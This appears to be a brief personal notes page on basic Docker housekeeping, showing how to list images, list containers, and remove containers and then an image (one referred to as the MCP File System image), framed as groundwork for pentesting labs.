We can use Docker for Pentesting, We can Launch our own Docker container and test for a specific Vulnerabiliy.

## Docker Commands

### List Docker Images

```python
docker images
```

### Remove Docker Images

For Removing Docker Images, we first Need to see that if there are some containers which are using that image, IF YES, then we need to remove those containers first

```python
docker ps -a # This list all containers
```

<figure><img src="/files/iFHkPn8KouAVmlYEMU0O" alt=""><figcaption></figcaption></figure>

now i will remove these containers then you can remove the Image of MCP File System

```
docker rm <container ID>
```

<figure><img src="/files/N5hWRPNn5KkgUyYLgxmr" alt=""><figcaption></figcaption></figure>

now we can remove the image completly.

```
docker rmi <Repository>
```

<figure><img src="/files/bFHgWvXKMBlITGPxU8fo" alt=""><figcaption></figcaption></figure>

and now the complete Image is Deleted


